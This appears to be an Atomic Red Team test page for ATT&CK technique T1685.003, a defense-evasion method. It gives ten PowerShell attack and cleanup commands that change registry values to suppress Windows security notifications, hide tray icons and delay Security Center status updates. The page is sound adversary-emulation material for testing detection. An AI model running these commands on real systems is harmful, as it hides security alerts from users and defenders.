T1685.003
Disable or Modify Tools: Modify or Spoof Tool UI
Description from ATT&CK
Adversaries may spoof or manipulate security tool user interfaces (UIs) to falsely indicate tools are functioning normally and delay detection and response.
Adversaries may present misleading or falsified security tool interfaces (UIs) that display normal or healthy status indicators, even when underlying security tools have been disabled, degraded, or otherwise tampered with. Security tools typically provide visibility into system health, alerting, and operational status; by misrepresenting this information, adversaries can undermine defender trust in these signals and obscure the true security posture of the system.
This behavior is often used in conjunction with efforts to disable or modify tools, where adversaries first impair the functionality of defenses (e.g., EDR, logging agents) and then replace or mimic their interfaces to conceal the loss of visibility. By maintaining the appearance of normal operations, such as showing active protection, successful updates, or absence of threats, adversaries can delay investigation and response, enabling continued malicious activity.
For example, adversaries may display a fake Windows Security interface or system tray icon indicating a “protected” or “healthy” state after disabling Windows Defender or related services.(Citation: BlackBasta)
Atomic Tests
- Atomic Test #1: T1685.003 - Suppress Action Center and Security Notifications via Registry Modification
- Atomic Test #2: T1685.003 - Modify TrayNotify Icon Streams to Simulate Taskbar Icon Spoofing
- Atomic Test #3: T1685.003 - Disable Security Center Notifications via WSC Registry Modification
- Atomic Test #4: T1685.003 - Modify Explorer Taskbar Tray Notification Policy Flags
- Atomic Test #5: T1685.003 - Tamper with Security Center Client Notification Level Registry
- Atomic Test #6: T1685.003 - Modify Windows Defender Notification Settings via Registry
- Atomic Test #7: T1685.003 - Clear PastIconsStream in TrayNotify to Simulate Tray Icon Erasure
- Atomic Test #8: T1685.003 - Modify Action Center Quick Action Settings to Remove Security Tiles
- Atomic Test #9: T1685.003 - Modify Security Health UI Configuration Registry Keys
- Atomic Test #10: T1685.003 - Modify Security Center CheckInterval to Desynchronize UI Updates
Atomic Test #1: T1685.003 - Suppress Action Center and Security Notifications via Registry Modification
Simulates an adversary modifying registry policies to suppress security alerts and disable notifications within the Action Center UI.
Supported Platforms: Windows
auto_generated_guid: 2d6fa33d-49ee-483c-9cb6-c579dc29cc47
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Name "NOC_GLOBAL_SETTING_ALLOW_TOAST_WHILE_DND" -Value 0 -ErrorAction SilentlyContinue; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "NoToastApplicationNotification" -Value 1 -ErrorAction SilentlyContinue; Write-Host "[+] Simulated UI notification suppression applied."Cleanup Commands
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" -Name "NOC_GLOBAL_SETTING_ALLOW_TOAST_WHILE_DND" -ErrorAction SilentlyContinue; Remove-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\PushNotifications" -Name "NoToastApplicationNotification" -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up notification suppression settings."Atomic Test #2: T1685.003 - Modify TrayNotify Icon Streams to Simulate Taskbar Icon Spoofing
Simulates an adversary tampering with user tray icon stream registry values to hide or manipulate security tool icons in the taskbar.
Supported Platforms: Windows
auto_generated_guid: 1d103cba-6f51-4246-b984-3e6c90ecef70
Attack Commands: Run with powershell!
$regPath = "HKCU:\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify"; if (Test-Path -Path $regPath) { $backup = Get-ItemProperty -Path $regPath -Name "IconStreams" -ErrorAction SilentlyContinue; if ($null -ne $backup) { Set-ItemProperty -Path $regPath -Name "T1685_Backup" -Value $backup.IconStreams }; Set-ItemProperty -Path $regPath -Name "IconStreams" -Value ([byte[]](0..15)) -ErrorAction SilentlyContinue; Write-Host "[+] Simulated tray icon stream modification executed." }Cleanup Commands
$regPath = "HKCU:\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify"; if (Test-Path -Path $regPath) { $backup = Get-ItemProperty -Path $regPath -Name "T1685_Backup" -ErrorAction SilentlyContinue; if ($null -ne $backup) { Set-ItemProperty -Path $regPath -Name "IconStreams" -Value $backup.T1685_Backup; Remove-ItemProperty -Path $regPath -Name "T1685_Backup" -ErrorAction SilentlyContinue }; Write-Host "[+] Cleaned up tray icon stream simulation." }Atomic Test #3: T1685.003 - Disable Security Center Notifications via WSC Registry Modification
Simulates adversary tampering with Action Center settings to disable security alerts and falsify operational status reporting.
Supported Platforms: Windows
auto_generated_guid: d659c40d-df83-4975-8dfc-5c7de06bd666
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WSC"; if (-not (Test-Path -Path $path)) { New-Item -Path $path -Force | Out-Null }; Set-ItemProperty -Path $path -Name "DisableNotifications" -Value 1 -ErrorAction SilentlyContinue; Write-Host "[+] Simulated Security Center notification disablement executed."Cleanup Commands
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WSC" -Name "DisableNotifications" -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up Security Center notification settings."Atomic Test #4: T1685.003 - Modify Explorer Taskbar Tray Notification Policy Flags
Simulates adversary modification of explorer taskbar settings to alter icon visibility and override notification states.
Supported Platforms: Windows
auto_generated_guid: 6b21a71a-4153-4354-8876-4da24ce3d6f1
Attack Commands: Run with powershell!
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer"; if (Test-Path -Path $path) { Set-ItemProperty -Path $path -Name "EnableAutoTray" -Value 0 -ErrorAction SilentlyContinue; Write-Host "[+] Simulated Explorer auto-tray modification applied." }Cleanup Commands
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer"; if (Test-Path -Path $path) { Remove-ItemProperty -Path $path -Name "EnableAutoTray" -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up Explorer auto-tray settings." }Atomic Test #5: T1685.003 - Tamper with Security Center Client Notification Level Registry
Simulates adversary configuration changes to Security Center alert thresholds to suppress warning dialogs.
Supported Platforms: Windows
auto_generated_guid: e42e28dc-394f-4afd-a9b1-8c5e2e9a595d
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$path = "HKLM:\SOFTWARE\Microsoft\Security Center"; if (Test-Path -Path $path) { Set-ItemProperty -Path $path -Name "UINotification" -Value 0 -ErrorAction SilentlyContinue; Write-Host "[+] Simulated Security Center UI notification level altered." }Cleanup Commands
$path = "HKLM:\SOFTWARE\Microsoft\Security Center"; if (Test-Path -Path $path) { Remove-ItemProperty -Path $path -Name "UINotification" -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up Security Center UI notification level." }Atomic Test #6: T1685.003 - Modify Windows Defender Notification Settings via Registry
Simulates adversary modification of Windows Defender UI notification behavior to suppress threat detection popups.
Supported Platforms: Windows
auto_generated_guid: ed14cb94-564c-4c5e-a0c2-b981bab5f53e
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration"; if (-not (Test-Path -Path $path)) { New-Item -Path $path -Force | Out-Null }; Set-ItemProperty -Path $path -Name "Notification_Level" -Value 2 -ErrorAction SilentlyContinue; Write-Host "[+] Simulated Defender UX notification modification applied."Cleanup Commands
$path = "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration"; if (Test-Path -Path $path) { Remove-ItemProperty -Path $path -Name "Notification_Level" -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up Defender UX notification settings." }Atomic Test #7: T1685.003 - Clear PastIconsStream in TrayNotify to Simulate Tray Icon Erasure
Simulates an adversary clearing historical tray icon mapping data to blind user visibility of security tool icons.
Supported Platforms: Windows
auto_generated_guid: c9c6f10e-fc1b-419d-83e1-311eea1540bd
Attack Commands: Run with powershell!
$regPath = "HKCU:\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify"; if (Test-Path -Path $regPath) { $backup = Get-ItemProperty -Path $regPath -Name "PastIconsStream" -ErrorAction SilentlyContinue; if ($null -ne $backup) { Set-ItemProperty -Path $regPath -Name "T1685_PastBackup" -Value $backup.PastIconsStream }; Remove-ItemProperty -Path $regPath -Name "PastIconsStream" -ErrorAction SilentlyContinue; Write-Host "[+] Simulated PastIconsStream clearance executed." }Cleanup Commands
$regPath = "HKCU:\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify"; if (Test-Path -Path $regPath) { $backup = Get-ItemProperty -Path $regPath -Name "T1685_PastBackup" -ErrorAction SilentlyContinue; if ($null -ne $backup) { Set-ItemProperty -Path $regPath -Name "PastIconsStream" -Value $backup.T1685_PastBackup; Remove-ItemProperty -Path $regPath -Name "T1685_PastBackup" -ErrorAction SilentlyContinue }; Write-Host "[+] Cleaned up PastIconsStream simulation." }Atomic Test #8: T1685.003 - Modify Action Center Quick Action Settings to Remove Security Tiles
Simulates adversary tampering with Action Center quick action configuration to hide security management shortcuts.
Supported Platforms: Windows
auto_generated_guid: a158a220-6160-4c60-bfbc-83f8687f27f8
Attack Commands: Run with powershell!
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\ActionCenter\Quick Actions"; if (-not (Test-Path -Path $path)) { New-Item -Path $path -Force | Out-Null }; Set-ItemProperty -Path $path -Name "PinnedQuickActions" -Value "None" -ErrorAction SilentlyContinue; Write-Host "[+] Simulated Quick Actions pinning modification executed."Cleanup Commands
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\ActionCenter\Quick Actions"; if (Test-Path -Path $path) { Remove-ItemProperty -Path $path -Name "PinnedQuickActions" -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up Quick Actions pinning settings." }Atomic Test #9: T1685.003 - Modify Security Health UI Configuration Registry Keys
Simulates adversary modification of SecHealthUI behavior settings to disrupt status reporting pipelines.
Supported Platforms: Windows
auto_generated_guid: 10eff45e-b16c-4049-8651-9c33fa69dd01
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$path = "HKLM:\SOFTWARE\Microsoft\Security Health"; if (-not (Test-Path -Path $path)) { New-Item -Path $path -Force | Out-Null }; Set-ItemProperty -Path $path -Name "UIStateOverride" -Value 1 -ErrorAction SilentlyContinue; Write-Host "[+] Simulated Security Health UI override applied."Cleanup Commands
$path = "HKLM:\SOFTWARE\Microsoft\Security Health"; if (Test-Path -Path $path) { Remove-ItemProperty -Path $path -Name "UIStateOverride" -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up Security Health UI override." }Atomic Test #10: T1685.003 - Modify Security Center CheckInterval to Desynchronize UI Updates
Simulates adversary manipulation of Security Center status polling frequency to delay or freeze UI status updates.
Supported Platforms: Windows
auto_generated_guid: 40dd86dd-f94c-4004-a953-d30eabcb61aa
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$path = "HKLM:\SOFTWARE\Microsoft\Security Center"; if (Test-Path -Path $path) { Set-ItemProperty -Path $path -Name "CheckInterval" -Value 9999 -ErrorAction SilentlyContinue; Write-Host "[+] Simulated Security Center poll interval tampering executed." }Cleanup Commands
$path = "HKLM:\SOFTWARE\Microsoft\Security Center"; if (Test-Path -Path $path) { Remove-ItemProperty -Path $path -Name "CheckInterval" -ErrorAction SilentlyContinue; Write-Host "[+] Cleaned up Security Center poll interval." }Atomic test(s) for this technique last updated: 2026-11-02 18:18:41 UTC